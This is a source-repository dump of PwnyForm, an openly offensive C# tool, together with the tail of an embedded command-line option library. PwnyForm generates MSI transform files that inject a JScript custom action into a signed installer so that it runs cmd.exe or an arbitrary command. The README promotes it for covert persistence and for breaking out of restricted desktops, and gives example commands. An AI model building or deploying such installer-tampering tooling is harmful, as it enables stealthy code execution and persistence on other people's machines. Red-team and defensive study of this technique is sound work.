1692 | rest = input.Substring(j).Trim(); 1693 | input = input.Substring(i, j).Trim(); 1694 | return; 1695 | } 1696 | } 1697 | rest = ""; 1698 | if (i != 0) 1699 | input = input.Substring(i).Trim(); 1700 | return; 1701 | } 1702 | } 1703 | 1704 | public int Run(IEnumerable arguments) { 1705 | if (arguments == null) 1706 | throw new ArgumentNullException(nameof(arguments)); 1707 | 1708 | this.showHelp = false; 1709 | if (help == null) { 1710 | help = new HelpCommand(); 1711 | AddCommand(help); 1712 | } 1713 | Action setHelp = v => showHelp = v != null; 1714 | if (!options.Contains("help")) { 1715 | options.Add("help", "", setHelp, hidden: true); 1716 | } 1717 | if (!options.Contains("?")) { 1718 | options.Add("?", "", setHelp, hidden: true); 1719 | } 1720 | var extra = options.Parse(arguments); 1721 | if (extra.Count == 0) { 1722 | if (showHelp) { 1723 | return help.Invoke(extra); 1724 | } 1725 | Out.WriteLine(options.MessageLocalizer($"Use `{Suite} help` for usage.")); 1726 | return 1; 1727 | } 1728 | var command = GetCommand(extra); 1729 | if (command == null) { 1730 | help.WriteUnknownCommand(extra[0]); 1731 | return 1; 1732 | } 1733 | if (showHelp) { 1734 | if (command.Options?.Contains("help") ?? true) { 1735 | extra.Add("--help"); 1736 | return command.Invoke(extra); 1737 | } 1738 | command.Options.WriteOptionDescriptions(Out); 1739 | return 0; 1740 | } 1741 | return command.Invoke(extra); 1742 | } 1743 | 1744 | internal Command GetCommand(List extra) { 1745 | return TryGetLocalCommand(extra) ?? TryGetNestedCommand(extra); 1746 | } 1747 | 1748 | Command TryGetLocalCommand(List extra) { 1749 | var name = extra[0]; 1750 | if (Contains(name)) { 1751 | extra.RemoveAt(0); 1752 | return this[name]; 1753 | } 1754 | for (int i = 1; i < extra.Count; ++i) { 1755 | name = name + " " + extra[i]; 1756 | if (!Contains(name)) 1757 | continue; 1758 | extra.RemoveRange(0, i + 1); 1759 | return this[name]; 1760 | } 1761 | return null; 1762 | } 1763 | 1764 | Command TryGetNestedCommand(List extra) { 1765 | if (NestedCommandSets == null) 1766 | return null; 1767 | 1768 | var nestedCommands = NestedCommandSets.Find(c => c.Suite == extra[0]); 1769 | if (nestedCommands == null) 1770 | return null; 1771 | 1772 | var extraCopy = new List(extra); 1773 | extraCopy.RemoveAt(0); 1774 | if (extraCopy.Count == 0) 1775 | return null; 1776 | 1777 | var command = nestedCommands.GetCommand(extraCopy); 1778 | if (command != null) { 1779 | extra.Clear(); 1780 | extra.AddRange(extraCopy); 1781 | return command; 1782 | } 1783 | return null; 1784 | } 1785 | } 1786 | 1787 | internal class HelpCommand : Command { 1788 | public HelpCommand() 1789 | : base("help", help: "Show this message and exit") { 1790 | } 1791 | 1792 | public override int Invoke(IEnumerable arguments) { 1793 | var extra = new List(arguments ?? new string[0]); 1794 | var _ = CommandSet.Options.MessageLocalizer; 1795 | if (extra.Count == 0) { 1796 | CommandSet.Options.WriteOptionDescriptions(CommandSet.Out); 1797 | return 0; 1798 | } 1799 | var command = CommandSet.GetCommand(extra); 1800 | if (command == this || extra.Contains("--help")) { 1801 | CommandSet.Out.WriteLine(_($"Usage: {CommandSet.Suite} COMMAND [OPTIONS]")); 1802 | CommandSet.Out.WriteLine(_($"Use `{CommandSet.Suite} help COMMAND` for help on a specific command.")); 1803 | CommandSet.Out.WriteLine(); 1804 | CommandSet.Out.WriteLine(_($"Available commands:")); 1805 | CommandSet.Out.WriteLine(); 1806 | var commands = GetCommands(); 1807 | commands.Sort((x, y) => string.Compare(x.Key, y.Key, StringComparison.OrdinalIgnoreCase)); 1808 | foreach (var c in commands) { 1809 | if (c.Key == "help") { 1810 | continue; 1811 | } 1812 | CommandSet.Options.WriteCommandDescription(CommandSet.Out, c.Value, c.Key); 1813 | } 1814 | CommandSet.Options.WriteCommandDescription(CommandSet.Out, CommandSet.help, "help"); 1815 | return 0; 1816 | } 1817 | if (command == null) { 1818 | WriteUnknownCommand(extra[0]); 1819 | return 1; 1820 | } 1821 | if (command.Options != null) { 1822 | command.Options.WriteOptionDescriptions(CommandSet.Out); 1823 | return 0; 1824 | } 1825 | return command.Invoke(new[] { "--help" }); 1826 | } 1827 | 1828 | List> GetCommands() { 1829 | var commands = new List>(); 1830 | 1831 | foreach (var c in CommandSet) { 1832 | commands.Add(new KeyValuePair(c.Name, c)); 1833 | } 1834 | 1835 | if (CommandSet.NestedCommandSets == null) 1836 | return commands; 1837 | 1838 | foreach (var nc in CommandSet.NestedCommandSets) { 1839 | AddNestedCommands(commands, "", nc); 1840 | } 1841 | 1842 | return commands; 1843 | } 1844 | 1845 | void AddNestedCommands(List> commands, string outer, CommandSet value) { 1846 | foreach (var v in value) { 1847 | commands.Add(new KeyValuePair($"{outer}{value.Suite} {v.Name}", v)); 1848 | } 1849 | if (value.NestedCommandSets == null) 1850 | return; 1851 | foreach (var nc in value.NestedCommandSets) { 1852 | AddNestedCommands(commands, $"{outer}{value.Suite} ", nc); 1853 | } 1854 | } 1855 | 1856 | internal void WriteUnknownCommand(string unknownCommand) { 1857 | CommandSet.Error.WriteLine(CommandSet.Options.MessageLocalizer($"{CommandSet.Suite}: Unknown command: {unknownCommand}")); 1858 | CommandSet.Error.WriteLine(CommandSet.Options.MessageLocalizer($"{CommandSet.Suite}: Use `{CommandSet.Suite} help` for usage.")); 1859 | } 1860 | } 1861 | } 1862 | -------------------------------------------------------------------------------- /PwnyForm/Program.cs: -------------------------------------------------------------------------------- 1 |  2 | using System; 3 | using System.IO; 4 | using System.Text; 5 | using Microsoft.Deployment.WindowsInstaller; 6 | using Mono.Options; 7 | 8 | namespace PwnyForm { 9 | class Program { 10 | 11 | public enum SequenceType { 12 | UI, 13 | Execute 14 | } 15 | 16 | static string caCode = @"function runCommand(){ 17 | var cmd; 18 | if(typeof Session !== 'undefined'){ 19 | cmd = Session.Property('CMD'); 20 | } 21 | if(cmd == null){ 22 | cmd = 'cmd.exe'; 23 | } 24 | var shell = new ActiveXObject('WScript.Shell'); 25 | shell.run(cmd, 1, false); 26 | }"; 27 | 28 | static void Main(string[] args) { 29 | 30 | string msi = null; 31 | string mst = null; 32 | int order = 1; 33 | bool showHelp = false; 34 | SequenceType sequenceType = SequenceType.UI; 35 | string sequenceTable = "InstallUISequence"; 36 | 37 | Console.WriteLine( 38 | "PwnyForm by @_EthicalChaos_\n" + 39 | $" Generates MST transform to inject arbitrary commands/cutom actions when installing MSI files\n" 40 | ); 41 | 42 | OptionSet option_set = new OptionSet() 43 | .Add("m=|msi=", "MSI file to base transform on (required)", v => msi = v) 44 | .Add("t=|mst=", "MST to generate that includes new custom action (required)", v => mst = v) 45 | .Add("s=|sequence=", "Which sequence table should inject the custom action into (UI (default) | Execute)", v => sequenceType = v) 46 | .Add("o=|order=", "Which sequence number to use (defaults 1)", v => order = v) 47 | .Add("h|help", "Display this help", v => showHelp = v != null); 48 | 49 | try { 50 | 51 | option_set.Parse(args); 52 | 53 | if (showHelp || msi == null || mst == null) { 54 | option_set.WriteOptionDescriptions(Console.Out); 55 | return; 56 | } 57 | 58 | } catch (Exception e) { 59 | Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); 60 | option_set.WriteOptionDescriptions(Console.Out); 61 | return; 62 | } 63 | 64 | switch (sequenceType) { 65 | case SequenceType.UI: 66 | sequenceTable = "InstallUISequence"; 67 | break; 68 | case SequenceType.Execute: 69 | sequenceTable = "InstallExecuteSequence"; 70 | break; 71 | } 72 | 73 | string tmpMsi = Path.GetTempFileName(); 74 | 75 | try { 76 | 77 | File.Copy(msi, tmpMsi, true); 78 | using (var origDatabase = new Database(msi, DatabaseOpenMode.ReadOnly)) { 79 | using (var database = new Database(tmpMsi, DatabaseOpenMode.Direct)) { 80 | 81 | if (!database.Tables.Contains("Binary")) { 82 | Console.WriteLine("[-] Binary table missing, creating..."); 83 | 84 | TableInfo ti = new TableInfo("Binary", 85 | new ColumnInfo[] { new ColumnInfo("Name","s72"), 86 | new ColumnInfo("Data", "v0") }, 87 | new string[] { "Name" }); 88 | 89 | database.Tables.Add(ti); 90 | } 91 | 92 | if (!database.Tables.Contains("CustomAction")) { 93 | Console.WriteLine("[-] CustomAction table missing, creating..."); 94 | 95 | TableInfo ti = new TableInfo("CustomAction", 96 | new ColumnInfo[] { new ColumnInfo("Action","s72"), 97 | new ColumnInfo("Type", "i2"), 98 | new ColumnInfo("Source", typeof(string), 72, false), 99 | new ColumnInfo("Target", typeof(string), 255, false), 100 | new ColumnInfo("ExtendedType", typeof(int), 4, false)} 101 | , 102 | new string[] { "Action" }); 103 | 104 | database.Tables.Add(ti); 105 | } 106 | 107 | if (!database.Tables.Contains(sequenceTable)) { 108 | Console.WriteLine($"[!] The sequence table {sequenceTable} does not exist, is this a proper MSI file?"); 109 | return; 110 | } 111 | 112 | Console.WriteLine($"[+] Inserting Custom Action into {sequenceTable} table using sequence number {order}"); 113 | 114 | Record binaryRecord = new Record(2); 115 | binaryRecord[1] = "Pwnd"; 116 | binaryRecord.SetStream(2, new MemoryStream(Encoding.UTF8.GetBytes(caCode))); 117 | database.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binaryRecord); 118 | database.Execute("INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) VALUES ('Pwnd', 5, 'Pwnd', 'runCommand')"); 119 | database.Execute($"INSERT INTO `{sequenceTable}` (`Action`, `Sequence`) VALUES ('Pwnd', {order})"); 120 | 121 | Console.WriteLine($"[+] Generating MST file {mst}"); 122 | 123 | database.GenerateTransform(origDatabase, mst); 124 | database.CreateTransformSummaryInfo(origDatabase, mst, TransformErrors.None, TransformValidations.None); 125 | 126 | Console.WriteLine("[+] Done!"); 127 | } 128 | } 129 | }catch(Exception e) { 130 | Console.WriteLine($"[!] Failed to generate MST with error {e.Message}"); 131 | } 132 | } 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /PwnyForm/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("PwnyForm")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("PwnyForm")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("aad06c06-d91c-4029-bcde-e1ccb706e5b9")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PwnyForm/PwnyForm.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9} 8 | Exe 9 | PwnyForm 10 | PwnyForm 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | ..\..\..\..\..\..\Tools\wix311\sdk\Microsoft.Deployment.WindowsInstaller.dll 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PwnyForm 2 | 3 | ## Overview 4 | 5 | PwnyForm will take an MSI installer as input and generate an MSI transform (mst) that can be used to inject arbitrary command execution by adding a custom action that will execute during the UI or Install sequence of an MSI file. 6 | 7 | The generated MST produces a JScript custom action that will by default launch cmd.exe, the executed command can be overriden using the CMD MSI property 8 | 9 | ## Why 10 | 11 | Generating an MST can be used as a method for adding custom behavior to signed MSI files without modifying the MSI itself, under the radar persistence or possibly breakout of restricted desktops environments if msiexec is allowed to execute. 12 | 13 | ## Usage 14 | 15 | ```cmd 16 | PwnyForm by @_EthicalChaos_ 17 | Generates MST transform to inject arbitrary commands/custom actions when installing MSI files 18 | 19 | -m, --msi=VALUE MSI file to base transform on (required) 20 | -t, --mst=VALUE MST to generate that includes new custom action ( 21 | required) 22 | -s, --sequence=VALUE Which sequence table should inject the custom 23 | action into (UI (default) | Execute) 24 | -o, --order=VALUE Which sequence number to use (defaults 1) 25 | -h, --help Display this help 26 | ``` 27 | 28 | Example usage 29 | 30 | ```cmd 31 | PwnyForm -m Setup.msi -t Pwnd.mst 32 | msiexec -i Setup.msi CMD=cmd.exe TRANSFORMS=Pwnd.mst 33 | ``` 34 | --------------------------------------------------------------------------------